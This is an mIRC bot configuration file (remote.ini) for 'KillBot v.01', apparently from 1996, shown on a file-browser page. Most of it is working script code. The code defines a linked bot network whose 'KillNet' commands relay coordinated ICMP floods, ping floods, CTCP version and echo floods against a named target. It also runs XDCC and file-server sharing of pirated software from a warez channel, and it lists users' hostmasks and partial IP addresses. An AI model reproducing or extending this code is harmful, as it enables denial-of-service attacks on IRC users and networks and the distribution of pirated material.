KillBot v.01 — File Browser

KillBotv.01v0.1 / KillBotv.01v0.1 / remote.ini

remote.ini — 34.96 KB — Download this file

[Users]
n0=1,=10,=51,=52,=53,=54,=55:*!*Killar@206.103.246.*
n1=1,=10,=51,=52,=53,=54:*!*Mike@*.ix.netcom.com
n2=1,=10,=51,=52,=53,=54,=55:*!*Killar@*.infinet.com
n3=1,=10:*!*elshahed@*.COM.EG
n4=1,=10:*!*kioffice@163.121.2.*
n5=1,=10:*!*kioffice@*.COM.EG
n6=1,=10:*!*Mikey@*.ix.netcom.com
n7=1,=10:*!*cool@*.usa1.com
n8=1,=10,=51,=52,=53:*!*beelzebub@*.ix.netcom.com
n9=1,=10,=51,=52:*!*krome@*.loop.org
n10=1,=10:*!*yourmom@199.232.252.*
n11=1,=10:*!*yourmom@*.ziplink.net
n12=1,=10:*!*killar@*.ix.netcom.com
n13=1,=10,=51,=52,=53:*!*cool@*.ziplink.net
n14=1,=10,=200:*!*gravity@*.ppp.iadfw.net
n15=1,=10:*!*rMPg@*.Max13.New-York.NY.MS.UU.NET
n16=1,=10,=52,=53:*!*edherring@*.berkshire.net
n17=1,=10:*!*rim@*.infinet.com
n18=1,=10,=51,=52,=53:*!*C0oL_69@*.ziplink.net
n19=1,=10,=51,=52:*!*agathon@*.psci.net

[Variables]
n0=%msg OFF
n1=%t 0
n2=%chan #Warez!
n3=%q  
n4=%len 5
n5=%killnet 0
n6=%userremove *!*cool@*.ziplink.net
n7=%s +p
n8=%die 0
n9=%w Killnet
n10=%nKillar 0
n11=%x 1
n12=%st nwk-p017.infinet.com
n13=%fserve 0
n14=%fservedir c:\
n15=%fservelimit 1
n16=%fservemsg 0
n17=%fd Fri Oct 25 20:39:04 1996
n18=%dcclimit 1
n19=%d Destruction Derby 2 [6/6]
n20=%fservesup 0
n21=%kn msg
n22=%igt 30
n23=%flooding 0
n24=%bots 0
n25=%xdccdir c:\
n26=%ts 9984
n27=%trans 0
n28=%slots 3
n29=%xdcclist 0
n30=%check *!*@dial1-31.dmrtc.net SexyStace
n31=%fs 757
n32=%leeched 0
n33=%l 0
n34=%onjoinmsg 0
n35=%icmps 2
n36=%ip 127.0.0.1
n37=%icmpip1 none
n38=%icmpip2 none
n39=%icmpip3 none
n40=%time 0
n41=%set fservedir
n42=%clonetime 0
n43=%clonenum 1
n44=%m 4
n45=%clones *!*@206.103.246.52 -> Abstract, Killar
n46=%topic `-,^,-´aReZ! Free T1 XDCC BOTS!! <---Freewarez T1 Style!!!! | For Help: /msg ^Mega^dcc XDCC Help
n47=%icmp 1
n48=%floodgate 0
n49=%kick 1
n50=%msgflood 0
n51=%colors 0
n52=%encode [18:03] [11k9i12l12l1a3r!11k9i12l12l1a3r@206.103.246.45] 8h9i
n53=%line Send   Killar     2012160     0           2957897     %68 bevhill.mp3
n54=%kickadd *!*Killar@206.103.246.*
n55=%useradd *!*Killar@*.infinet.com
n56=%pc 68
n57=%flood$null 0
n58=%flood*!*m_lefebv@*.wsc.mass.edu 0
n59=%flood*!*gravity@*.ppp.iadfw.net 0
n60=%flood*!*cool@*.ziplink.net 0
n61=%flood*!*yourmom@*.ziplink.net 0
n62=%flood*!*elohssa@*.hhs.net 0
n63=%levels 1,=10
n64=%ptime 1
n65=%b 0
n66=%dir c:\internet\mirc\killbot2\c:\internet\mirc\killbot\xdcc\bevhill.mp3
n67=%lof 30
n68=%u *!*Killar@*.infinet.com
n69=%usera *!*Killar@*.infinet.com
n70=%c 1
n71=%ua *!*cool@*.ziplink.net
n72=%token hbd-dd2f.zip:757:Destruction Derby 2 [6/6]
n73=%homechans
n74=%n *!*mrmyers@*.wustl.edu
n75=%p3 +p
n76=%autosafeop 1
n77=%uip ppp-102.sudbury-01.ican.net
n78=%owner Killar

[Commands]
n0=1:PING:if $nick == $me halt | ignore -tu5 * | echo 4 *** CTCP ( $+ $parms $+ ) recieved from: $nick @ $site
n1=1:VERSION:if $nick == $me halt | ignore -tu5 * | echo 4 *** CTCP ( $+ $parms $+ ) recieved from: $nick @ $site
n2=1:ECHO:if $nick == $me halt | ignore -tu5 * | echo 4 *** CTCP ( $+ ECHO bytes: $len($parm2*) $+ ) recieved from: $nick @ $site | halt
n3=1:CLIENTINFO:if $nick == $me halt | ignore -tu5 * | echo 4 *** CTCP ( $+ $parms $+ ) recieved from: $nick @ $site
n4=1:USERINFO:if $nick == $me halt | ignore -tu5 * | echo 4 *** CTCP ( $+ $parms $+ ) recieved from: $nick @ $site
n5=1:TIME:if $nick == $me halt | ignore -tu5 * | echo 4 *** CTCP ( $+ $parms $+ ) recieved from: $nick @ $site
n6=1:FINGER:if $nick == $me halt | ignore -tu5 * | echo 4 *** CTCP ( $+ $parms $+ ) recieved from: $nick @ $site
n7=1:DCC CHAT:{
n8=  if $nick == $me halt
n9=  if $parm5 < 50 { echo 4 Dcc chat kill attempt from $nick | set %msg $timestamp Dcc chat kill attempt from $nick | sendtousers | halt }
n10=  echo 4 $parms
n11=  ignore -tu2 *
n12=  echo 4 *** Dcc Chat attempt from: $nick
n13=  if =10 !isin $level($mask($fulladdress,3)) {
n14=    echo 4 *** Dcc Chat attempt from $nick rejected: No Access
n15=    notice $nick I don't accept dcc chats from strangers. :)
n16=    set %msg *** Dcc Chat attempt from $nick rejected: No Access
n17=    sendtousers
n18=    .timer 1 1 close -c $nick
n19=    .timer 1 1 write -ds $+ $nick userchats.txt
n20=    .timer 1 1 write -ds $+ $nick activechats.txt
n21=    .timer 1 1 write -ds $+ $nick botchats.txt
n22=    halt
n23=  }
n24=  if $null != $read -s $+ $nick activechats.txt {
n25=    echo 4 *** $nick tried to connect twice, closing connection.
n26=    msg =$nick You can't connect twice!
n27=    close -c $nick
n28=    write -ds $+ $nick activechats.txt
n29=    write -ds $+ $nick userchats.txt
n30=    set %msg *** $nick has left the party line
n31=    sendtousers
n32=    set %msg bbb $nick Left Party Line @ $me
n33=    sendtobots
n34=    halt
n35=  }
n36=  .timer 1 21 set %user $read -s $+ $nick activechats.txt
n37=  .timer 1 21 if $null == %user close -c $nick
n38=  write aboutack.txt $nick $mask($fulladdress,3)
n39=  echo 4 *** Attempting to ack dcc chat...
n40=}
n41=1:LINK: {
n42=if $nick == $me halt
n43=  .ignore -tu2 *
n44=  set %useradd $mask($fulladdress,3)
n45=  if 10 !isin $level(%useradd) { set %msg *** LINK request from $nick ignored, not on userlist. | sendtousers | halt }
n46=  dcc chat $nick
n47=  write aboutack.txt $nick %useradd
n48=  set %msg *** Received LINK request from $nick $+ , acknowledging request
n49=  sendtousers
n50=}
n51=1:*:if $nick == $me halt | ignore -tu5 * | echo 4 *** CTCP ( $+ $parms $+ ) recieved from: $nick @ $site

[Events]
n0=#partyline start
n1=1:ON CHATOPEN:{
n2=  write -ds $+ $nick ignore.txt
n3=  msg =$nick Connected to $me $+ , running KillBot v.01 for Mirc 4.7  © Killar
n4=  set %useradd $read -s $+ $nick aboutack.txt
n5=  write -ds $+ $nick aboutack.txt
n6=  line
n7=  echo 4 *** Dcc Chat connection esatblished with: $nick
n8=  write activechats.txt $nick %useradd
n9=  write userchats.txt $nick %useradd
n10=  .timer 1 3 delaychatopen $nick
n11=}
n12=1:ON CHATCLOSE:{
n13=  line
n14=  echo 4 *** Lost Dcc Chat connection with: $nick
n15=  if $null != $read -s $+ $nick userchats.txt {
n16=    write -ds $+ $nick userchats.txt
n17=    write -ds $+ $nick activechats.txt
n18=    set %msg *** $nick lost dcc link.
n19=    sendtousers
n20=    set %msg bbb $nick lost dcc link @ $me
n21=    sendtobots
n22=    halt
n23=  }
n24=  write -ds $+ $nick activechats.txt
n25=  write -ds $+ $nick botchats.txt
n26=  write -ds $+ $nick irciichats.txt
n27=  set %msg *** Lost bot: $nick
n28=  sendtousers
n29=  set %msg bbb Lost Bot $nick @ $me
n30=  sendtobots
n31=}
n32=1:ON CHAT:*!"#$%&'()*+,-.*:{
n33=  close -c $nick
n34=  write -ds $+ $nick userchats.txt
n35=  write -ds $+ $nick activechats.txt
n36=  write -ds $+ $nick botchats.txt
n37=  set %msg *** $nick attempted a dcc chat kill, closing connection.
n38=  sendtousers
n39=}
n40=#partyline end
n41=#bot start
n42=1:ON CHAT:bbb KN ICMP * @ * *:bc $nick $parms | if 1 != %killnet halt | if %flooding == 1 halt | sendtoircii | set %msg 4***KillNet*** ( $+ $parm4 $+ @ $+ $parm6 $+ ) icmping $+ $chr(58) $parm7 | sendtousers | icmp $parm7
n43=1:ON CHAT:bbb KN PF * @ * *:bc $nick $parms | if 1 != %killnet halt | if %flooding == 1 halt | sendtoircii | set %msg 4***KillNet*** ( $+ $parm4 $+ @ $+ $parm6 $+ ) ping flooding $+ $chr(58) $parm7* | sendtousers | pf $parm7*
n44=1:ON CHAT:bbb KN MF * @ * *:bc $nick $parms | if 1 != %killnet halt | if %flooding == 1 halt | sendtoircii | set %msg 4***KillNet*** ( $+ $parm4 $+ @ $+ $parm6 $+ ) multi-flooding $+ $chr(58) $parm7* | sendtousers | mf $parm7*
n45=1:ON CHAT:bbb KN VF * @ * *:bc $nick $parms | if 1 != %killnet halt | if %flooding == 1 halt | sendtoircii | set %msg 4***KillNet*** ( $+ $parm4 $+ @ $+ $parm6 $+ ) version flooding $+ $chr(58) $parm7* | sendtousers | vf $parm7*
n46=1:ON CHAT:bbb KN EF * @ * *:bc $nick $parms | if 1 != %killnet halt | if %flooding == 1 halt | sendtoircii | set %msg 4***KillNet*** ( $+ $parm4 $+ @ $+ $parm6 $+ ) echo flooding $+ $chr(58) $parm7* | sendtousers | ef $parm7*
n47=1:ON CHAT:bbb KN MSG * @ * *:bc $nick $parms | if 1 != %killnet halt | if %flooding == 1 halt | sendtoircii | msg $parm7* | set %msg 4***KillNet*** ( $+ $parm4 $+ @ $+ $parm6 $+ ) messaging $parm7 $+ $chr(58) $parm8* | sendtousers
n48=1:ON CHAT:bbb KN P * * @ *:bc $nick $parms | if 1 != %killnet halt | sendtoircii | part $parm4 | set %msg 4***KillNet*** ( $+ $parm5 $+ @ $+ $parm7 $+ ) parting $parm4 | sendtousers
n49=1:ON CHAT:bbb KN SJ * @ * * *:bc $nick $parms | if 1 != %killnet halt | sjoinircii $parm7* | set %msg 4***KillNet*** ( $+ $parm5 $+ @ $+ $parm7  $+ ) slow-joining $parm7 over a $parm8 second stretch | sendtousers | timer 1 $rand(1,$parm8) join $parm7
n50=1:ON CHAT:bbb KN J * * @ *:bc $nick $parms | if 1 != %killnet halt | sendtoircii | join $parm4 | set %msg 4***KillNet*** ( $+ $parm5 $+ @ $+ $parm7 $+ ) joining $parm4 | sendtousers
n51=1:ON CHAT:bbb Send * @ * from *:bc $nick $parms | if ($parm5 == $me && $null != $read -s $+ $parm3 userchats.txt) { botmsg $parm3 $parm7* | halt }
n52=1:ON CHAT:bbb who * request from * @ *:bc $nick $parms | if $parm3 == $me { botwho $nick $parm6 $parm8 }
n53=1:ON CHAT:bbb * Left Party Line @ *:bc $nick $parms | set %msg *** ( $+ $parm7 $+ ) $parm2 has left the party line. | sendtousers
n54=1:ON CHAT:bbb Linked * @ *:bc $nick $parms | set %msg *** ( $+ $parm5 $+ ) Linked to $parm3 | sendtousers
n55=1:ON CHAT:bbb Lost Bot * @ *:bc $nick $parms | set %msg *** ( $+ $parm6 $+ ) Lost bot: $parm4 | sendtousers
n56=1:ON CHAT:bbb PL * @ * says *:if $parm3 == $me halt | bc $nick $parms | set %msg < $+ $parm3 $+ @ $+ $parm5 $+ > $parm7* | sendtousers
n57=1:ON CHAT:bbb * lost dcc link @ *:bc $nick $parms | set %msg *** ( $+ $parm7 $+ ) $parm2 lost dcc link. | sendtousers
n58=1:ON CHAT:bbb * joined party line @ *:bc $nick $parms | set %msg *** ( $+ $parm7 $+ ) $parm2 joined the party line. | sendtousers
n59=1:ON CHAT:bbb KICK * @ * by *:bc $nick $parms | set %msg *** ( $+ $parm5 $+ ) $parm3 was kicked from the party line by $parm7 $+ . | sendtousers
n60=1:ON CHAT:bbb PING REPLY @ *:bc $nick $parms | if $parm9 == $me { set %time $ctime - $parm11 | msg = $+ $parm7 [Ping Reply:  $+ $parm5 $+  %time seconds] }
n61=1:ON CHAT:bbb PING * @ *:bc $nick $parms | if $parm7 == all { echo parm7 is all | msg =$nick bbb PING REPLY @ $me for $parm3 @ $parm5 at $parm9 | set %msg $parms | sendtoircii | halt } | if $parm7 == $me { msg =$nick bbb PING REPLY @ $me for $parm3 @ $parm5 at $parm9 } | set %read $read -s $+ $parm7 irciichats.txt | if $null != %read { msg = $+ $parm7 $parms }
n62=1:ON CHAT:Connected to * running KillBot * for Mirc 4.7 * Killar:newbot $nick
n63=1:ON CHAT:ircii clone:newirciibot $nick
n64=1:ON CHAT:.link *:ig $nick | linkto $nick $parm2
n65=1:ON CHAT:.unlink *:ig $nick | unlinkfrom $nick $parm2
n66=#bot end
n67=#channelstuff start
n68=1:ON INVITE:#:set %chan $chan | if %chan isin %homechans join %chan
n69=1:ON KICK:#:if ($checkchan($chan) == 0) halt | set %chan $chan | if %chan == %homechan { onkick $nick $knick $parms }
n70=1:ON OP:#:if ($checkchan($chan) == 0) halt | set %chan $chan | if %chan == %homechan { onop $nick $opnick }
n71=1:ON SERVEROP:#:if ($checkchan($chan) == 0) halt | onop $nick $opnick
n72=1:ON DEOP:#:if ($checkchan($chan) == 0) halt | ondeop $nick $opnick
n73=1:ON SERVERDEOP:#:if ($checkchan($chan) == 0) halt | ondeop $nick $opnick
n74=1:ON BAN:#:if ($checkchan($chan) == 0) halt | onban $nick $banmask
n75=1:ON CHAT:.op *:ig $nick | onchatop $nick $parm2*
n76=1:ON CHAT:.deop *:ig $nick | onchatdeop $nick $parm2*
n77=1:ON CHAT:.topic*:ig $nick | onchattopic $nick $parm2*
n78=1:ON CHAT:.say *:ig $nick | onchatsay $nick $parm2*
n79=1:ON CHAT:.msg *:ig $nick | onchatmsg $nick $parm2*
n80=#channelstuff end
n81=#userlist start
n82=1:ON CHAT:.chattr *:{
n83=  ig $nick | set %p3 $parm3 | set %c $read -s $+ $nick userchats.txt
n84=  if 54 !isin $level(%c) && 55 !isin $level(%c) { msg = $+ $nick What? Try '.help' | halt }
n85=  set %n $read -s $+ $parm2 users2.txt
n86=  if $null == %p3 {
n87=    if $null == %n { msg = $+ $nick Sorry, $parm2 wasn't found in the userlist. | halt }
n88=    getflags %n 
n89=    %msg = $timestamp $chr(35) $+ $nick $+ $chr(35) chattr $parm2 | sendtousers | msg =$nick Flags for $parm2 are now %s | halt
n90=  }
n91=  if n isin %p3 || m isin %p3 { if 55 !isin $level(%c) { msg =$nick What? Try '.help' | halt } }
n92=  if + isin %p3 { if d isin %p3 auser -a =50 %n | if f isin %p3 auser -a =51 %n | if p isin %p3 auser -a =52 %n | if o isin %p3 auser -a =53 %n | if m isin %p3 auser -a =54 %n | if n isin %p3 auser -a =55 %n
n93=  set %msg $timestamp $chr(35) $+ $nick $+ $chr(35) chattr $parm2 %p3 | sendtousers | getflags %n | msg =$nick Flags for $parm2 are now %s | save -u remote.ini | halt }
n94=  if - isin %p3 { if d isin %p3 ruser 50 %n | if f isin %p3 ruser 51 %n | if p isin %p3 ruser 52 %n | if o isin %p3 ruser 53 %n | if m isin %p3 ruser 54 %n | if n isin %p3 ruser 55 %n
n95=  set %msg $timestamp $chr(35) $+ $nick $+ $chr(35) chattr $parm2 %p3 | sendtousers | getflags %n | msg =$nick Flags for $parm2 are now %s | save -u remote.ini | halt }
n96=}
n97=1:ON CHAT:.adduser:ig $nick | msg =$nick Usage: adduser <nick>
n98=1:ON CHAT:.adduser *:ig $nick | adduser $nick $parm2
n99=1:ON CHAT:.-user:ig $nick | msg =$nick Failed.
n100=1:ON CHAT:.-user *:ig $nick | remuser $nick $parm2
n101=#userlist end
n102=#helpsection start
n103=1:ON CHAT:.help:ig $nick | bothelp $nick
n104=1:ON CHAT:.help kn *:ig $nick | set %set $parm3* | bothelp2 $nick $parm2 $+ $parm3* $parm2*
n105=1:ON CHAT:.help set *:ig $nick | set %set $parm3* | bothelp2 $nick $parm2 $+ $parm3* $parm2*
n106=1:ON CHAT:.help xdcc *:ig $nick | set %set $parm3* | bothelp2 $nick $parm2 $+ $parm3* $parm2*
n107=1:ON CHAT:.help *:ig $nick | bothelp2 $nick $parm2*
n108=#helpsection end
n109=#settings start
n110=1:ON CHAT:.status:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if 54 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | status $nick
n111=1:ON CHAT:.set msgaddmsg*:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if $null == $parm3 { msg =$nick Currently: %msgaddmsg | halt } | set %msgaddmsg $parm3 | savev | msg =$nick Ok, set.
n112=1:ON CHAT:.set msgadd*:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if $null == $parm3 { msg =$nick Currently: %msgadd | halt } | set %msgadd $parm3 | savev | msg =$nick Ok, set.
n113=1:ON CHAT:.channels:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | msg =$nick Current Home Channels: %homechans
n114=1:ON CHAT:.+channel*:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if $null == $parm2 { msg =$nick Usage: .+channel <#channel> | msg =$nick     This adds a channel to your Home Channel(s) list. | halt } | channeladd $nick $parm2 | savev
n115=1:ON CHAT:.-channel*:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if $null == $parm2 { msg =$nick Usage: .-channel <#channel> | msg =$nick     This removes a channel to your Home Channel(s) list. | halt } | channelrem $nick $parm2 | savev
n116=1:ON CHAT:.set admin*:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if $null == $parm3 { msg =$nick Currently: %admin | halt } | set %admin $parm3 | msg =$nick Ok, set. | savev
n117=1:ON CHAT:.set die*:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if $null == $parm3 { msg =$nick Currently: %die | halt } | set %die $parm3 | msg =$nick Ok, set. | savev
n118=1:ON CHAT:.set killnet*:ig $nick | setkillnet $nick $parm3* | savev
n119=1:ON CHAT:.killnet *:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if $parm2 == on { set %killnet 1 | msg =$nick Ok, set. | enable #killnet | savev | halt } | if $parm2 == off { set %killnet 0 | msg =$nick Ok, set. | disable #killnet | savev | halt }
n120=1:ON CHAT:.set fservemsg*:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if $null == $parm3 { msg =$nick Currently: %fservemsg | halt } | set %fservemsg $parm3 | msg =$nick Ok, set. | savev
n121=1:ON CHAT:.set fservedir*:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if $null == $parm3 { msg =$nick Currently: %fservedir | halt } | set %fservedir $parm3 | msg =$nick Ok, set. | savev
n122=1:ON CHAT:.set dcclimit*:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if $null == $parm3 { msg =$nick Currently: %dcclimit | halt } | set %dcclimit $parm3 | msg =$nick Ok, set. | savev
n123=1:ON CHAT:.set fservelimit*:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if $null == $parm3 { msg =$nick Currently: %fservelimit | halt } | set %fservelimit $parm3 | msg =$nick Ok, set. | savev
n124=1:ON CHAT:.set fserve*:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if $null == $parm3 { msg =$nick Currently: %fserve | halt } | set %fserve $parm3 | msg =$nick Ok, set. | savev
n125=1:ON CHAT:.fserve *:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if $parm2 == on { set %fserve 1 | msg =$nick The File Server has been turned ON | savev | halt } | if $parm2 == stats { fservestats $nick } | if $parm2 == off { set %fserve 0 | msg =$nick The File Server has been turned OFF | savev | halt } msg =$nick Sorry, wrong parameter, try ON or OFF
n126=1:ON CHAT:.xdcc on:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if $parm2 == on { .timer333 0 300 xdcclistchan | set %xdcclist 1 | msg =$nick Ok, set. | enable #xdcclist | savev | halt } | if $parm2 == off { set %xdcclist 0 | msg =$nick Ok, set. | disable #xdcclist | savev | halt }
n127=1:ON CHAT:.xdcc off:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if $parm2 == on { set %xdcclist 1 | msg =$nick Ok, set. | enable #xdcclist | savev | halt } | if $parm2 == off { .timer333 off | set %xdcclist 0 | msg =$nick Ok, set. | disable #xdcclist | savev | halt }
n128=1:ON CHAT:.set xdccdir*\:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if $null == $parm3 { msg =$nick Currently: %xdccdir | halt } | set %xdccdir $parm3 | msg =$nick Ok, set. | savev
n129=1:ON CHAT:.set xdccdir*:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if $null == $parm3 { msg =$nick Currently: %xdccdir | halt } | set %xdccdir $parm3 $+ \ | msg =$nick Ok, set. | savev
n130=1:ON CHAT:.set xdcc*:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if $null == $parm3 { msg =$nick Currently: %xdcclist | halt } | if $parm3 == 1 { set %xdcclist 1 | .timer333 0 300 xdcclistchan | msg =$nick Ok, set. | enable #xdcclist | savev | halt } | if $parm3 == 0 { set %xdcclist 0 | .timer333 off | msg =$nick Ok, set. | disable #xdcclist | savev | halt }
n131=1:ON CHAT:.set onjoinmsg*:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if $null == $parm3 { msg =$nick Currently: %onjoinmsg | halt } | if $parm3 == 1 { set %onjoinmsg 1 | msg =$nick Ok, set. | savev | halt } | if $parm3 == 0 { set %onjoinmsg 0 | msg =$nick Ok, set. | savev | halt }
n132=1:ON CHAT:.set fserveratio*:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if $null == $parm3 { msg =$nick Currently: %fserveratio | halt } | if : !isin $parm3 { msg =$nick Sorry, wrong format, try .set %fserveratio 1:5 for a ratio of 1 to 5 which allows someone who has uploaded 1K to download 5K. | halt } | set %fserveratio $parm3 | msg =$nick Ok, set. | savev
n133=1:ON CHAT:.set icmpsize*:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if $null == $parm3 { msg =$nick Currently: %icmpsize | halt } | set %icmpsize $parm3 | if ($parm3 >= 300) msg =$nick A size of %icmpsize is not recomended if you are 28.8 or slower. | msg =$nick Ok, set. | savev
n134=1:ON CHAT:.set icmp*:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if $null == $parm3 { msg =$nick Currently: %icmp | halt } | set %icmp $parm3 | msg =$nick Ok, set. | savev
n135=1:ON CHAT:.set floodgate*:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if $null == $parm3 { msg =$nick Currently: %floodgate | halt } | set %floodgate $parm3 | msg =$nick Ok, set. | savev
n136=1:ON CHAT:.set ptime*:ig $nick | set %u $read -s $+ $nick userchats.txt | if 55 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if $null == $parm3 { msg =$nick Currently: %ptime | halt } | set %ptime $parm3 | msg =$nick Ok, set. | savev
n137=#settings end
n138=1:ON CTCPREPLY:*:if $nick == $me halt | ignore -nu100 *
n139=#icmp start
n140=1:ON CHAT:.clear icmps:ig $nick | set %u $read -s $+ $nick userchats.txt | if 51 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | clearicmps
n141=1:ON CHAT:.icmp stats:ig $nick | set %u $read -s $+ $nick userchats.txt | if 51 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | icmpstats $nick
n142=1:ON CHAT:.kn icmp *:ig $nick | set %u $read -s $+ $nick userchats.txt | if 51 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | if %icmps >= 3 { msg =$nick Sorry, to many icmps going already, type .icmp stats to see when they complete. | halt } | set %msg $timestamp $chr(35) $+ $nick $+ $chr(35) kn icmp $parm3* | sendtousers | set %msg ***KillNet*** ( $+ $nick $+ ) icmping $+ $chr(58) $parm3* | sendtousers | set %msg bbb KN ICMP $nick @ $me $parm3 | sendtobots | sendtoircii | icmp $parm3
n143=#icmp end
n144=#killnet disabled
n145=1:ON CHAT:.kn pf *:ig $nick | set %u $read -s $+ $nick userchats.txt | if 51 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | set %msg 4 $+ $timestamp $chr(35) $+ $nick $+ $chr(35) kn pf $parm3* | sendtousers | set %msg 4***KillNet*** ( $+ $nick $+ ) ping flooding $+ $chr(58) $parm3* | sendtousers | set %msg bbb KN PF $nick @ $me $parm3* | sendtobots | sendtoircii | pf $parm3*
n146=1:ON CHAT:.kn mf *:ig $nick | set %u $read -s $+ $nick userchats.txt | if 51 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | set %msg 4 $+ $timestamp $chr(35) $+ $nick $+ $chr(35) kn mf $parm3* | sendtousers | set %msg 4***KillNet*** ( $+ $nick $+ ) multi-flooding $+ $chr(58) $parm3* | sendtousers | set %msg bbb KN MF $nick @ $me $parm3* | sendtobots | sendtoircii | mf $parm3*
n147=1:ON CHAT:.kn vf *:ig $nick | set %u $read -s $+ $nick userchats.txt | if 51 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | set %msg 4 $+ $timestamp $chr(35) $+ $nick $+ $chr(35) kn vf $parm3* | sendtousers | set %msg 4***KillNet*** ( $+ $nick $+ ) version flooding $+ $chr(58) $parm3* | sendtousers | set %msg bbb KN VF $nick @ $me $parm3* | sendtobots | sendtoircii | vf $parm3*
n148=1:ON CHAT:.kn ef *:ig $nick | set %u $read -s $+ $nick userchats.txt | if 51 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | set %msg 4 $+ $timestamp $chr(35) $+ $nick $+ $chr(35) kn ef $parm3* | sendtousers | set %msg 4***KillNet*** ( $+ $nick $+ ) echo flooding $+ $chr(58) $parm3* | sendtousers | set %msg bbb KN EF $nick @ $me $parm3* | sendtobots | sendtoircii | ef $parm3*
n149=1:ON CHAT:.kn msg * *:ig $nick | set %u $read -s $+ $nick userchats.txt | if 51 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | set %msg 4 $+ $timestamp $chr(35) $+ $nick $+ $chr(35) kn msg $parm3* | sendtousers | set %msg 4***KillNet*** ( $+ $nick $+ ) messaging $parm3 $+ $chr(58) $parm4* | sendtousers | set %msg bbb KN MSG $nick @ $me $parm3* | sendtobots | sendtoircii | if %floodgate == 1 halt | msg $parm3*
n150=1:ON CHAT:.kn join *:ig $nick | set %u $read -s $+ $nick userchats.txt | if 51 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | set %msg 4 $+ $timestamp $chr(35) $+ $nick $+ $chr(35) kn join $parm3 | sendtousers | set %msg 4***KillNet*** ( $+ $nick $+ ) joining $parm3 | sendtousers | set %msg bbb KN J $parm3 $nick @ $me | sendtobots | sendtoircii | if %floodgate == 1 halt | join $parm3
n151=1:ON CHAT:.kn sjoin * *:ig $nick | set %u $read -s $+ $nick userchats.txt | if 51 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | set %msg 4 $+ $timestamp $chr(35) $+ $nick $+ $chr(35) kn sjoin $parm3 | sendtousers | set %msg 4***KillNet*** ( $+ $nick $+ ) slow-joining $parm3 over a $parm4 second stretch | sendtousers | set %msg bbb KN SJ $nick @ $me $parm3 $parm4 | sendtobots | sjoinircii $parm3 $parm4 | if %floodgate == 1 halt | .timer 1 $rand(1,$parm4) join $parm3
n152=1:ON CHAT:.kn part *:ig $nick | set %u $read -s $+ $nick userchats.txt | if 51 !isin $level(%u) { msg =$nick What? Try '.help' | halt } | set %msg 4 $+ $timestamp $chr(35) $+ $nick $+ $chr(35) kn part $parm3 | sendtousers | set %msg 4***KillNet*** ( $+ $nick $+ ) parting $parm3 | sendtousers | set %msg bbb KN P $parm3 $nick @ $me | sendtobots | sendtoircii | if %floodgate == 1 halt | part $parm3
n153=#killnet end
n154=#xdcclist disabled
n155=1:ON CHAT:.xdcc reset:ig $nick | set %u $read -s $+ $nick userchats.txt | if =55 !isin $level(%u) { msg =$nick What? try '.help' | halt } | set %msg $timestamp $chr(35) $+ $nick $+ $chr(35) xdcc reset | sendtousers | msg =$nick Reseting Leech Counter on xdcc. | set %leeched 0
